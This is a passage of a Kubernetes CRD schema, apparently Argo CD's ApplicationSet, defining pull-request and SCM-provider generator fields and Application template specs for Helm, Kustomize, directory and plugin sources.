                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  required:
                                  - configMapRef
                                  type: object
                                pullRequest:
                                  properties:
                                    azuredevops:
                                      properties:
                                        api:
                                          type: string
                                        labels:
                                          items:
                                            type: string
                                          type: array
                                        organization:
                                          type: string
                                        project:
                                          type: string
                                        repo:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - organization
                                      - project
                                      - repo
                                      type: object
                                    bitbucket:
                                      properties:
                                        api:
                                          type: string
                                        basicAuth:
                                          properties:
                                            passwordRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                            username:
                                              type: string
                                          required:
                                          - passwordRef
                                          - username
                                          type: object
                                        bearerToken:
                                          properties:
                                            tokenRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                          required:
                                          - tokenRef
                                          type: object
                                        owner:
                                          type: string
                                        repo:
                                          type: string
                                      required:
                                      - owner
                                      - repo
                                      type: object
                                    bitbucketServer:
                                      properties:
                                        api:
                                          type: string
                                        basicAuth:
                                          properties:
                                            passwordRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                            username:
                                              type: string
                                          required:
                                          - passwordRef
                                          - username
                                          type: object
                                        bearerToken:
                                          properties:
                                            tokenRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                          required:
                                          - tokenRef
                                          type: object
                                        caRef:
                                          properties:
                                            configMapName:
                                              type: string
                                            key:
                                              type: string
                                          required:
                                          - configMapName
                                          - key
                                          type: object
                                        insecure:
                                          type: boolean
                                        project:
                                          type: string
                                        repo:
                                          type: string
                                      required:
                                      - api
                                      - project
                                      - repo
                                      type: object
                                    filters:
                                      items:
                                        properties:
                                          branchMatch:
                                            type: string
                                          targetBranchMatch:
                                            type: string
                                        type: object
                                      type: array
                                    gitea:
                                      properties:
                                        api:
                                          type: string
                                        insecure:
                                          type: boolean
                                        labels:
                                          items:
                                            type: string
                                          type: array
                                        owner:
                                          type: string
                                        repo:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - api
                                      - owner
                                      - repo
                                      type: object
                                    github:
                                      properties:
                                        api:
                                          type: string
                                        appSecretName:
                                          type: string
                                        labels:
                                          items:
                                            type: string
                                          type: array
                                        owner:
                                          type: string
                                        repo:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - owner
                                      - repo
                                      type: object
                                    gitlab:
                                      properties:
                                        api:
                                          type: string
                                        caRef:
                                          properties:
                                            configMapName:
                                              type: string
                                            key:
                                              type: string
                                          required:
                                          - configMapName
                                          - key
                                          type: object
                                        insecure:
                                          type: boolean
                                        labels:
                                          items:
                                            type: string
                                          type: array
                                        project:
                                          type: string
                                        pullRequestState:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - project
                                      type: object
                                    requeueAfterSeconds:
                                      format: int64
                                      type: integer
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  type: object
                                scmProvider:
                                  properties:
                                    awsCodeCommit:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        region:
                                          type: string
                                        role:
                                          type: string
                                        tagFilters:
                                          items:
                                            properties:
                                              key:
                                                type: string
                                              value:
                                                type: string
                                            required:
                                            - key
                                            type: object
                                          type: array
                                      type: object
                                    azureDevOps:
                                      properties:
                                        accessTokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                        allBranches:
                                          type: boolean
                                        api:
                                          type: string
                                        organization:
                                          type: string
                                        teamProject:
                                          type: string
                                      required:
                                      - accessTokenRef
                                      - organization
                                      - teamProject
                                      type: object
                                    bitbucket:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        appPasswordRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                        owner:
                                          type: string
                                        user:
                                          type: string
                                      required:
                                      - appPasswordRef
                                      - owner
                                      - user
                                      type: object
                                    bitbucketServer:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        api:
                                          type: string
                                        basicAuth:
                                          properties:
                                            passwordRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                            username:
                                              type: string
                                          required:
                                          - passwordRef
                                          - username
                                          type: object
                                        bearerToken:
                                          properties:
                                            tokenRef:
                                              properties:
                                                key:
                                                  type: string
                                                secretName:
                                                  type: string
                                              required:
                                              - key
                                              - secretName
                                              type: object
                                          required:
                                          - tokenRef
                                          type: object
                                        caRef:
                                          properties:
                                            configMapName:
                                              type: string
                                            key:
                                              type: string
                                          required:
                                          - configMapName
                                          - key
                                          type: object
                                        insecure:
                                          type: boolean
                                        project:
                                          type: string
                                      required:
                                      - api
                                      - project
                                      type: object
                                    cloneProtocol:
                                      type: string
                                    filters:
                                      items:
                                        properties:
                                          branchMatch:
                                            type: string
                                          labelMatch:
                                            type: string
                                          pathsDoNotExist:
                                            items:
                                              type: string
                                            type: array
                                          pathsExist:
                                            items:
                                              type: string
                                            type: array
                                          repositoryMatch:
                                            type: string
                                        type: object
                                      type: array
                                    gitea:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        api:
                                          type: string
                                        insecure:
                                          type: boolean
                                        owner:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - api
                                      - owner
                                      type: object
                                    github:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        api:
                                          type: string
                                        appSecretName:
                                          type: string
                                        organization:
                                          type: string
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                      required:
                                      - organization
                                      type: object
                                    gitlab:
                                      properties:
                                        allBranches:
                                          type: boolean
                                        api:
                                          type: string
                                        caRef:
                                          properties:
                                            configMapName:
                                              type: string
                                            key:
                                              type: string
                                          required:
                                          - configMapName
                                          - key
                                          type: object
                                        group:
                                          type: string
                                        includeSharedProjects:
                                          type: boolean
                                        includeSubgroups:
                                          type: boolean
                                        insecure:
                                          type: boolean
                                        tokenRef:
                                          properties:
                                            key:
                                              type: string
                                            secretName:
                                              type: string
                                          required:
                                          - key
                                          - secretName
                                          type: object
                                        topic:
                                          type: string
                                      required:
                                      - group
                                      type: object
                                    requeueAfterSeconds:
                                      format: int64
                                      type: integer
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
